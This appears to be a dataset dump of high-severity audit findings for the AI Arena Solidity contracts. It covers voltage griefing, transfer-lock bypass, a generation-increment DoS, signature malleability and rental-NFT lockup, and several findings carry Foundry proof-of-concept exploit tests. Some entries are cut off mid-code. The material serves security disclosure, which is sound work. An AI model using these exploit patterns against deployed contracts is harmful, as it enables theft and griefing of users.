xanoutas/solidity-security-findings huggingface dataset:
Drain users available voltage by transferring fighter NFT after initiating multiple battles
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L346


# Vulnerability details

## Description

The project relies on an off-chain server to invoke `RankedBattle::updateBattleRecord()` after a battle is started off-chain. The function deducts the voltage balance from the user who is the owner of the token ID that initiated the battle. This is passed as the function input `initiatorBool` to the function, which is set to `true` if the token ID initiated the battle:

```solidity
if (initiatorBool) {
    _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
}
```

The function determines who the owner is of the token ID, and deducts the voltage from them.

An attacker can leverage this to grief another user of their voltages. The attacker can initiate several battles, and immediately transfer the NFT that was used to initiate the battle to the victim user. Now, when the server calls `RankedBattle::updateBattleRecord()`, the owner of the NFT will be determined to be the victim user, and they will be charged for the voltage for the battles which the attacker actually initiated.

The attacker can use this method to grief a target user of their voltages.

## Impact

This attack allows an attacker to drain the victim of their voltage - including any extra voltages that the victim user might have bought. 

## Proof of concept

Put the test in this file: `test/RankedBattle.t.sol`
Run using: `forge test --match-test "testTransferNFTToExhaustVoltage"`

```solidity
function testTransferNFTToExhaustVoltage() public {
    address attackerUser = vm.addr(3);
    _mintFromMergingPool(attackerUser);
    uint8 tokenIdForAttacker = 0;
    address victimUser = vm.addr(30);
    _mintFromMergingPool(victimUser);
    uint8 tokenIdForVictim = 1;

    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenIdForAttacker, 50, tokenIdForAttacker, 1500, true);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenIdForVictim, 50, tokenIdForVictim, 1500, true);

    assertEq(_voltageManagerContract.ownerVoltage(attackerUser), 90);
    assertEq(_voltageManagerContract.ownerVoltage(victimUser), 90);

    // The attacker user transfers the fighter to the victim user
    // before the server can call updateBattleRecord()
    // so that the victim user gets charged for the voltages
    // for the battles that the attacker user initiated
    vm.prank(attackerUser);
    _fighterFarmContract.transferFrom(attackerUser, victimUser, tokenIdForAttacker);

    vm.startPrank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenIdForAttacker, 50, 0, 1500, true);
    _rankedBattleContract.updateBattleRecord(tokenIdForAttacker, 50, 0, 1500, true);
    _rankedBattleContract.updateBattleRecord(tokenIdForAttacker, 50, 0, 1500, true);
    _rankedBattleContract.updateBattleRecord(tokenIdForAttacker, 50, 0, 1500, true);
    _rankedBattleCo
User can force `updateBattleRecord` to revert by spending their own voltage
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L334-L346
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L106


# Vulnerability details

## Impact

Users can spend as much of their voltage as they want with `spendVoltage()`. If a user realizes they are going to lose a match (or for any reason, it can be entirely arbitrary), they can spend all of their voltage, forcing `updateBattleRecord` to revert when the game server calls it due to the `_voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST` require statement not being met. Thus, the user can avoid the risk of losing their stakes by unstaking before the game server calls `updateBattleRecord` again. Or, if the user realizes they are winning, they can perform the same actions to increase their stake.


## Proof of Concept
The following test demonstrates how a user can revert a record update with spending their own voltage:

```solidity
    function test_userCanSpendVoltageAndRevertUpdateBattleRecord() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        vm.startPrank(player);

        emit log_named_uint("player voltage", _voltageManagerContract.ownerVoltage(player));
        emit log_named_uint("replenish time", _voltageManagerContract.ownerVoltageReplenishTime(player));
	
	// User deliberately spends all of their voltage before losing the match.
        _voltageManagerContract.spendVoltage(player, 100);
        emit log_named_uint("player voltage", _voltageManagerContract.ownerVoltage(player));

        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
        (,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 0);
        vm.stopPrank();
	
	// It reverts when  the game server wants to update the fighter's record.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        (,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);
        
        emit log_named_uint("replenish time", _voltageManagerContract.ownerVoltageReplenishTime(player));
        emit log_named_uint("player voltage", _voltageManagerContract.ownerVoltage(player));
    }
```

## Tools Used

Manual Review

## Recommended Mitigation Steps

Currently, there is no scenario that requires a user to spend their own voltage, so we can update the require statement in `spendVoltage` as follows:

```diff
    function spendVoltage(address spender, uint8 voltageSpent) public {
-        require(spender == msg.sender || allowedVoltageSpenders[msg.sender]);
+        require(allowedVoltageSpenders[msg.sender]);
        if (ownerVoltageReplenishTime[spender] <= block.timestamp) {
            _replenishVoltage(spe
No new fighter can be created, no reRoll will be possible and whole FigherFarm contract will be DoS if generation[fighterType] is incremented.
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L110


# Vulnerability details

## Impact
No new fighter can be created and no reRoll will be possible if generation[fighterType] is incremented even by 1 due to there being no way to update ``numElements`` mapping for generations greater than 0. This will DoS the entire ``FighterFarm.sol`` contract.

## Proof of Concept
``numElements`` is the mapping of number of elements by generation and it is set to ``3`` for generation ``0`` in the constructor.
```solidity
./FighterFarm.sol

    constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
        numElements[0] = 3;
    }
```

The main issue is there is no way to update ``numElements`` mapping for other generations greater than 0 throughout the contract. 

Now, lets look at the ``_createFighterBase()`` function:
```solidity
./FighterFarm.sol

    function _createFighterBase(uint256 dna, uint8 fighterType) private view returns (uint256, uint256, uint256) {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }
```

Notice, that this function uses ``numElements`` mapping value and is accessed using value of ``generation[fighterType]``. The problem is if ``generation[fighterType]`` is incremented, then the ``_createFighterBase()`` will revert as ``numElements`` is only set for ``generation 0`` and in solidity ``something % 0`` reverts.

Also, ``generation[fighterType]`` can be easily updated using:
```solidity
FighterFarm.sol

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }
```
Thus, increasing the chances of ``_createFighterBase()`` reverting to extreme.

Also, ``_createFighterBase()`` is used by ``reRoll()`` and ``_createNewFighter()`` and ``_createNewFighter()`` is used by ``claimFighters()``, ``redeemMintPass()`` and ``mintFromMergingPool()``. Thus, whole ``FighterFarm.sol`` contract can be DoS'ed.

# Coded PoC
In the ``FighterFarm.t.sol`` contract, paste this test for ``claimFighters()``.

> Note: The reason for testing with ``claimFighters()`` is it uses ``_createNewFighter()`` which uses ``_createFighterBase()`` and it finally uses ``numElements`` mapping.

```solidity

  function testIncrementGenerationByOwner() public {
        _fighterFarmContract.incrementGeneration(0);
        assertEq(_fighterFarmContract.generation(0), 1);
        assertEq(_fighterFarmContract.generation(1), 0);
user can circumvent _ableToTransfer check
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L363


# Vulnerability details

## Impact
Staked tokens are not meant to be transferred, but they can be transferred to another address by simply using another function for transferring that was not overridden.

## Proof of Concept
FighterFarm.sol, locks staked tokens by having _ableToTransfer return false when token is staked.

```solidity
    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }
```
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L544

This check is done in safeTransferFrom and transferFrom
```solidity
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }
.
.
.
    function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _transfer(from, to, tokenId);
    }
.
.
.
```

However there's another public safeTransferFrom with a different parameter list that will be public and available for user use but not have _ableToTransfer check

In ERC721.sol
```solidity
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

```
This function with this parameter list is not overridden and hence appears for user to use without the _ableToTransfer require statement.

Can be further be verified by using console prints on the safeTransfer functions.
One on the     
`
function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    )
` in ERC721.sol

and another in FighterFarm.sol

## Tools Used
manual analysis

## Recommended Mitigation Steps
override all forms of transfer in ERC721.sol


## Assessed type

Access Control
Signature malleability of EVM's `ecrecover` in `verify()`
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/Verification.sol#L4-L42


# Vulnerability details

## Impact
EVM's ecrecover is susceptible to signature malleability which allows replay attacks, but that is mitigated here by tracking accepted offers and cancelling it (on L645) specifically to prevent replays. However, if any of the application logic changes, it might make signature malleability a risk for replay attacks.

See reference: https://swcregistry.io/docs/SWC-117

## Proof of Concept
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/Verification.sol#L4-L42


## Tools Used
Manual review
## Recommended Mitigation Steps
Consider using OpenZeppelin’s ECDSA library: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol


## Assessed type

Other
``redeemMintPass`` allows for minting the rarest fighter type
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L257


# Vulnerability details

## Impact
The current implementation of the `redeemMintPass` function in the FighterFarm contract allows users to choose any fighter type when redeeming a mint pass, including the dendroid type, which is indicated as the rarest and most powerful type available. This design leads to a situation where all players have an incentive to only mint the dendroid type, thereby undermining the rarity intended among the various fighter types. This could potentially lead to a lack of diversity in the game's ecosystem and diminish the unique value of rarer fighters.


## Proof of Concept
The `redeemMintPass` function does not restrict the choice of fighter types when minting, allowing users to specify any fighter type, including the rarest type, through parameters such as `fighterTypes`. Here's a simplified code snippet illustrating the issue:

```js
function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes, // Players can choose any type, including the rarest
    ...
) external {
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        ...
        _createNewFighter(
            msg.sender,
            ...
            fighterTypes[i], // Fighter type is directly taken from input
            ...
        );
    }
}
```

Here's a coded POC for this issue. Place the test in the `FighterFarm.t.sol` file and run the code `forge test --mt testRedeemMintPassForDendroid -vv`

```js
    function testRedeemMintPassForDendroid() public {
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        // first i have to mint an nft from the mintpass contract
        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        // once owning one i can then redeem it for a fighter
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterType
Custom check in `FighterFarm::transferFrom` puts NFT fighter owners at risk of losing their NFT when rented out
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L346
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L363


# Vulnerability details

## Impact
`FighterFarm::transferFrom` and `FighterFarm::safeTransferFrom` perform a custom check for the ability to transfer the NFT fighter before executing the transfer:

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539-L545

```solidity
    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
@>          !fighterStaked[tokenId]
        );
    }
```

When the NFT fighter is rented out using a NFT rental protocol, and the rental period has expired, the rental protocol will try to transfer the NFT fighter back to the owner. However, a malicious user can use the `fighterStaked` mapping to prevent the transfer by two ways:

1. If the malicious user has not staked yet, calling `RankedBattle::stakeNRN` with any amount greater than `0` to set `fighterStaked[tokenId]` to `true`:

```solidity
    function stakeNRN(uint256 amount, uint256 tokenId) external {
        require(amount > 0, "Amount cannot be 0");
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
        require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

        _neuronInstance.approveStaker(msg.sender, address(this), amount);
        bool success = _neuronInstance.transferFrom(msg.sender, address(this), amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
@>                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
            amountStaked[tokenId] += amount;
            globalStakedAmount += amount;
            stakingFactor[tokenId] = _getStakingFactor(
                tokenId, 
                _stakeAtRiskInstance.getStakeAtRisk(tokenId)
            );
            _calculatedStakingFactor[tokenId][roundId] = true;
            emit Staked(msg.sender, amount);
        }
    }
```

2. When the malicious user has staked, had his stake at risk, and then lost the stake at risk, thus having `0` stake, he can simply not call `RankedBattle::unstakeNRN`, this way `fighterStaked[tokenId]` is never set to `false`

```solidity
    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        if (amount > amountStaked[tokenId]) {
            amount = amountStaked[tokenId];
        }
        amountStaked[tokenId] -= amount;
        globalStakedAmount -= amount;
        stakingFactor[tokenId] = _getStakingFactor(
            tokenId, 
            _stakeAtRiskInstance.g
Battle initiator can avoid spending his voltage and avoid having a lost battle registered
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L322-L349
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/VoltageManager.sol#L105-L112


# Vulnerability details

`RankedBattle.updateBattleRecord` is called by the game server address to update the battle record of a fighter. This function also [spends the voltage of the fighter](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L345-L347) in case he was the initiator of the battle.

Given that the voltage is charged only after the battle has ended, it is not guaranteed that the initiator of the battle has enough voltage to spend. In case of having lost the battle, the initiator will be specially incentivized not to recharge his voltage if he has not enough.

The game server can approach this problem in different ways:

1) Do nothing if `updateBattleRecord` reverts due to lack of voltage of the initiator.

> Then the initiator has managed to a) avoid spending his voltage and b) avoid having a lost battle registered.

2) Update the battle record passing `initiatorBool` as `false`.

> In this scenario, the initiator has saved his voltage and is incentivized to pay it just when he wins.

3) Wait until the replenishment time for the user is reached.

> In this case, the process can be delayed for several days, depending on the number of pending battles to be updated but, more importantly, the user can just front-run the game server and [spend his voltage](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/VoltageManager.sol#L105) before the game server can do it, and avoid having a lost battle registered.

## Impact

The battle initiator can avoid spending his voltage and/or avoid having a lost battle registered.

## Tools Used

Manual inspection.

## Recommended Mitigation Steps

Charge the voltage to the initiator before the battle and create an admin function to refund the initiator in case some off-chain issue prevents the battle from happening.


## Assessed type

Other